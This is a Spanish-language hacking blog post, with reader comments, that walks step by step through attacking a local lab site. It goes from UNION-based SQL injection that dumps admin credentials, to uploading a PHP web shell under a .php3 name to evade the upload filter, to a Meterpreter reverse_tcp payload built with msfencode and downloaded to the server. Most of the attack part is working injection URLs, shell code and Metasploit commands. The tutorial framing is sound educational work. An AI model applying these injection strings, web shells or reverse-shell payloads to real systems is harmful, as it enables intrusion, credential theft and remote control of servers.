jueves, 28 de noviembre de 2013

De SQL injection hasta obtener una shell

De sql injection a obtener shell

Este post tiene dedicatoria a todos los miembros de pentester guanajuato global team, gracias por la invitación :)



Empezemos: en este post veremos un poco de sql injection y como un atacante puede obtener desde los datos que se encuentran en la base de datos hasta una shell del sistema donde se encuentra alojada la página web y la base de datos :D

Está será la página en que haremos el pentest

Primero haremos un information gathering, para realizarlo podemos usar telnet o netcat

telnet paginaweb.com 80
GET / HTTP/1.1
host:paginaweb 
           ó
netcat paginaweb.com
GET / HTTP/1.1
host:paginaweb


como podemos observar ahi tenemos la version de apache

Ahora veamos un poco de teoría, supongamos que estamos en una pagina de noticias y tenemos 3 páginas con noticias estas serían las 3 urls.

http://www.web.com/noticia.php?id=1  <-- noticia 1
http://www.web.com/noticia.php?id=2  <-- noticia 2
http://www.web.com/noticia.php?id=3  <-- noticia 3

el código php de esa pagina para cargar las noticias sería algo así

<?php
$id = $_GET["id"];
$resultado = mysql_query("select * from noticias where id=".$id);
$fila = mysql_fetch_assoc($reultado);
//nos da la informacion de la noticia de la consulta
?>

Ahora pasando al material que tenemos para trabajar
si ponemos asi ----> http://www.web.com/noticia.php?id=1'
se va a ejecutar esto ---> select * from noticias where id = 1'
pero la sintaxis de esta peticion sql es incorrecta por la comilla ' y la base de datos nos dara un error

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near ''' at line 1.
este error puede o no puede ser visible depende de la configuracion del php

aqui el ejemplo del error de SQL syntax de nuestra web








 IMPORTANTE!!!!!
el valor que esta en la url hace un eco directamente en la consulta y es considerado como un integer, esto
nos permite hacer una consulta a la base de datos una operacion basica matematica
es decir
http://www.web.com/noticia.php?id=2-1 <--- esto sería como
select * from noticias where id=2-1 entonces el la noticia 1 será mostrada en la url





Por ejemplo en nuestra pagina tenemos

 http://192.168.1.88/cat.php?id=3
y también
http://192.168.1.88/cat.php?id=2

Veamos que pasa cuando hacemos
http://192.168.1.88/cat.php?id=3-1

Aqui vemos como al hacer la operacion matemática 3-1=2 == http://192.168.1.88/cat.php?id=2


explotando sql injections con UNION


Para hacer la sql injection (a mano nada de usar programas como havij ó sqlmap a menos que seas un lamer de primera, ó a menos que ya sepas hacer esto por ti mismo no hay ningun problema en utilizar herramientas que te pueden automatizar el proceso, y ademas ya sabes que es lo que realmente esta pasando en tu ataque) necesitamos encontrar el numero de colimnas para ejecutar union

si ponemos
http://192.168.1.88/cat.php?id=2 union select 1,2
en la url aparecen varios %20 ese es el del espacio y el navegador lo pone automáticamente, ahi podemos ver que nos da información interesante
lo que ha pasado es lo siguiente:
select id,nombre,fecha,foto from noticias where id=1 union select 1,2
es decir hicimos una consulta donde estamos requiriendo 2 campos sin embargo la tabla tiene 4 campos, no hay que confundir que a una tabla podemos hacer la consulta a 1 solo campo con esto que estamos haciendo, en este caso estamos tratando de encontrar todos los campos de la tabla

entonces intentamos lo siguiente
http://192.168.1.88/cat.php?id=2 union select 1,2,3
en este caso de nuevo aparece el mensaje que la sentencia tiene diferente numero al de las columnas existentes en la tabla, recuerden que estamos tratando de averiguar cuantos campos hay en esa tabla de la base de datos
esta vez hicimos algo como esto:
select id,nombre,fecha,foto from noticias where id=1 union select 1,2,3

intentemos con esto: http://192.168.1.88/cat.php?id=2 union select 1,2,3,4
Excelente!!! ya no obtuvimos el mensaje de que no corresponde la sentencia con el numero de campos es decir que ya sabemos que existen 4 campos.
Ahora que ya sabemos el numero de columnas podemos acceder a cierta informacion de la base de datos

ahora que ya sabemos el numero de columnas podemos acceder a cierta informacion de la base de datos

la sentencia @@version      me dice la version de la base de datos
la sentencia current_user()  el usuario usado por la aplicacion php para conectar a la base de datos
la sentencia database()        ya se imaginarán que hace :p

entonces procedemos a encontrar la version con
http://192.168.1.88/cat.php?id=2 union select 1,@@version,3,4,5

Eee!!! momento que ha pasado si estoy poniendo 4 columnas por que me aparece que hay diferencia en el statment y el numero de columnas???

al parecer la tabla donde ejecutemos la sentencia para poder ver la version debe tener un numero diferente de columnas de modo que hagamos una prueba pongamos 3 en vez de 4 es decir:
http://192.168.1.88/cat.php?id=2 union select 1,@@version,3,4

Listo ya tenemos la verison!!!!

ahora procedamos a ver el usuario
http://192.168.1.88/cat.php?id=2 union select 1,current_user(),3,4
Ya tenemos el usuario :D

Ahora veamos el nombre de la base de datos
http://192.168.1.88/cat.php?id=2 union select 1,database(),3,4
Listo!!!! nombre de la base de datos obtenida

ahora obtengamos las tablas, para eso haremos consultas en la base de datos information_schema
por que mysql provee tablas que contienen meta-informacion de la base de datos que estamos obteniendo información

http://192.168.1.88/cat.php?id=2 union select 1, table_name,3,4+from+information_schema.tables

Listo el problema es que me esta dando todas las tablas de las bases de datos que hay y yo quiero solo los de la base de datos que estoy tratando de obtener informacion (photoblog)

Intentemos con esto
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat%28table_name,
%27:%27,table_name%29,3,4%20from%20information_schema.columns+where+table_schema=database%28%29--
Excelente despues de varias pruebas y errores con diferentes sentencias pudimos obtener el resultado deseado (Ya te tocará investigar que es todo ese código en la sentencia no tendras todo tan regalado lamer XD XD XD XD XD).

bueno ahora toca el turno de saber como se llaman los campos de la tabla users
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat(column_name),3,4%20from
%20information_schema.columns+where+table_name=users

Al parecer hay un error en la columna users :( vaya se ha resistido XD XD XD XD, bueno hemos estado utilizando chrome, ahora utilizemos firefox para ayudarnos de hackbar :D :D :D :D :D

  
  abrir hackbar y seleccionar el nombre users e ir a encoding, hex encoding y seleccionar la 1er opcion quedará algo así
Damos click en Execute y vemos que no pasa nada, jejeje esta web se se resiste intenemos agregando un 0x es decir
http://192.168.1.88/cat.php?id=-2 union select 1,concat(column_name),3,4 from information_schema.columns+where+table_name=0x7573657273
Excelente ahora si ya tenemos los campos que necesitamos para realizar la sentencia y obtener los datos que necesitamos

Entonces manos a la obra obtengamos los usuarios y contraseñas de esta base de datos
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat
%28login,%27:%27,password%29,3,4%20from%20users;

Muy bien tenemos al usuario admin y la contraseña encriptada, hay muchas formas y/o técnicas para desencriptar ese hash, por ejemplo; findmyhash, john the ripper, crackstation.net, en esta ocasión usaremos la página crackstation.net

listo: usuario admin contraseña P4ssw0rd

ahora tratemos de obtener una shell en ese sistema :D


Listo estamos logueados como admins ahora tratemos de subir algun archivo php que nos deje ejecutar comandos en el sistema :D

para eso creamos un arhivo php que contenga el siguiente codigo

<?php
system($_GET['cmd']);
?>

si logro subir un arhivo php que contenga ese codigo podre ejecutar comandos en el sistema donde esta alojada la pagina web.

primero vamos a crearlo
vamos a tratar de subirlo damos click en New picture y despues en examinar y buscamos nuestro php
Al tratar de subirlo vemos que nos dice 
Entonces tiene una protección de deteccion de archivos para poder hacer un bypass o evasión de detección de los tipos de archivos podemos hacer un archivo de nombre .php3

Aqui vemos como nuestro php fue subido exitosamente

ahora tenemos que encontrar la ruta donde esta nuestro php :D

una vista rápida al codigo fuente del index me da lo que estoy buscando
admin/uploads/shell.php3  :D

ahora para ejecutar comandos ponemos lo siguiente
http://192.168.1.88/admin/uploads/shell.php3?cmd="comando a ejecutar"

http://192.168.1.88/admin/uploads/shell.php3?cmd=uname -a

http://192.168.1.88/admin/uploads/shell.php3?cmd=cat%20/etc/passwd
nosotros somos el usaurio www-data ese usuario no tiene privilegios de root, veamos que podemos hacer para obtener una shell dentro del sistema desde kali :D

primero hacemos un payload para linux
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=puerto R | msfencode -t elf -e x86/shikata_ga_nai >> Executive


Pasamos ese payload a nuestro webserver en kali aprovechando que tenemos apache :D

Aqui vemos como se copio el payload a la carpeta del webserver de kali y ademas hicimos un ls para comprobar que ahi esta nuestro payload, ahora toca descargarlo en el servidor que hackeamos

Aparentemente no ocurrio nada pero que pasa si hacemos un "ls"

Ahi se encuentra nuestro payload que se llama Executive, procedemos a ejecutarlo pero primero hay que preparar el listener de metasploit
 msfcli exploit/multi/handler  PAYLOAD=linux/x86/meterpreter/reverse_tcp  LHOST=IP LPORT=port  E

ahora si procedemos a ejecutar

y vemos el resultado en nuestro metasploit
Tenemos meterpreter en ese sistema :D
Sin embargo no tenemos altos privilegios todavia, tratemos de leer el archivo shadow
Solamente usuarios con permisos elevados pueden leer ese archivo, hay muchas técnicas para elevar privilegios en linux, tratemos de entrar al gestor de base de datos mysql
Hemos podido entrar al gestor de base de datos mysql de ese sistema por que el usuario por default no tiene contraseña
mysql -u root -p

incluso podemos ver la bases de datos que hay en ese sistema
Ahora tratemos de vizualizar archivos desde mysql

y aqui el resultado

ahora tratemos de leer el archivo shadow
Como vemos no hemos podido leer el contenido del archivo shadow :( 
en un post posterior veremos como elevar privilegios en linux, por otra parte cabe mencionar que todo lo que hemos hecho en la página, quedo registrado en los logs del apache

aqui les paso solo alguno de los logs que generamos
192.168.1.104 - - [28/Nov/2013:17:13:47 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,4 HTTP/1.1" 200 830 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:48 +0000] "GET /admin/uploads/3 HTTP/1.1" 404 505 "http://192.168.1.88/cat.php?id=2%20union%20select%201,@@version,3,4" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:53 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:54 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3 HTTP/1.1" 200 762 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:55 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:02 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,3,3 HTTP/1.1" 200 762 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:03 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,3 HTTP/1.1" 200 829 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /admin/uploads/3 HTTP/1.1" 404 505 "http://192.168.1.88/cat.php?id=2%20union%20select%201,@@version,3,3" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:19:59 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,2,3,4 HTTP/1.1" 200 763 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:20:00 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:21:52 +0000] "GET /cat.php?id=2%20union%20select%201%20where%20id=1 HTTP/1.1" 200 815 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:21:53 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"






14 comentarios:

  1. Cordial saludo, me agrado mucho el post, una pregunta, tu puedes por favor compartir y subir el comprimido de la pagina que tienes en forma local para hacer las practicas controladas ??? felicitaciones por el trabajo que haces.

    ResponderEliminar
    Respuestas
    1. aqui esta el link con el material
      https://mega.co.nz/#!rw5zFSZZ!ILMqyDATQSluwS5KwGjvaV8ljA8JbF3NTPvjbfczVHQ

      Eliminar
  2. Oye muy buen artículo. ¿Tienes cuenta de twitter? Lo pregunto para darte mención, igual lo compartiremos en nuestra cuenta @Gr2Dest. Saludos

    ResponderEliminar
    Respuestas
    1. Hola gracias por la mencion mi twitter es @roberknight01

      Eliminar
  3. Impresionante publicacion es una lastima que no haya tantos mensajes para felicitarte por tu post, siempre se ha sabido que cuando alguien comenta algun trabajo sirve de inspiracion para hacer mas materiales de calidad como este, ya tengo años aprendiendo cosas de seguridad y hacking y nunca habia visto algo tan bien explicado y de tan buena informacion

    ResponderEliminar
    Respuestas
    1. Gracias la verdad es que espero tener mas visitantes a mi blog, ya tiene un poco mas de 1 año que empece con el blog pero casi no le había publicado nada, y como se que en la red hay muchos videos y/o paginas que hablan de seguridad y hacking pues trataré de poner cosas que no sean tan comunes, y siendo sinceros el fin es tener muchos visitantes para que se den una idea de como son los cursos especilizados que yo doy pero eso no quita que no vaya a poner buen material y de aqui se puedan aprender cosas de nivel no tan básico

      Eliminar
  4. Buenisimo post, muy bien explicado y ameno

    ResponderEliminar
  5. excelente post, uno de los mejores que e visto continua asi exitos.

    ResponderEliminar
  6. excelente post, mis mas sinceras felicitaciones. Sigue así y tendrás muchos éxitos!

    ResponderEliminar
  7. La verdad es que yo no había visto una publicacion como esta, con ejemplos reales y tan bien documentada y explicada y mira que tambien tengo tiempo aprendiendo, sinceramente si me sentia muy confiada de lo que yo sabia y me hacia llamar a mi mismo hacker, pero veo que tu con tu conocimiento no te llamas hacker a ti mismo ni presumes de lo que sabes, supongo que eso es una leccion para mi y para todos los que se creen hackers y con esto das muestra de que realmente sabemos muy poco. por lo que he estado leyendo lo que publicas es la punta del iceberg de lo que es tu curso correcto??

    ResponderEliminar
  8. Excelente, uno de los mejores sin duda. muy buena documentación, me gustaria ver algun ejemplo en pruebas con CMS como Joomla, wordpress o drupal.

    ResponderEliminar
  9. Genial buen post jedi siga asi uno de los mejores que e leido

    ResponderEliminar
  10. exelente post hace ratico que sigo a rodolfo y es de los pocos que pone cosas muy buenas y bien explicadas y sobre todo diferentes a las que se encuentran en otras paginas.
    felicidades master

    ResponderEliminar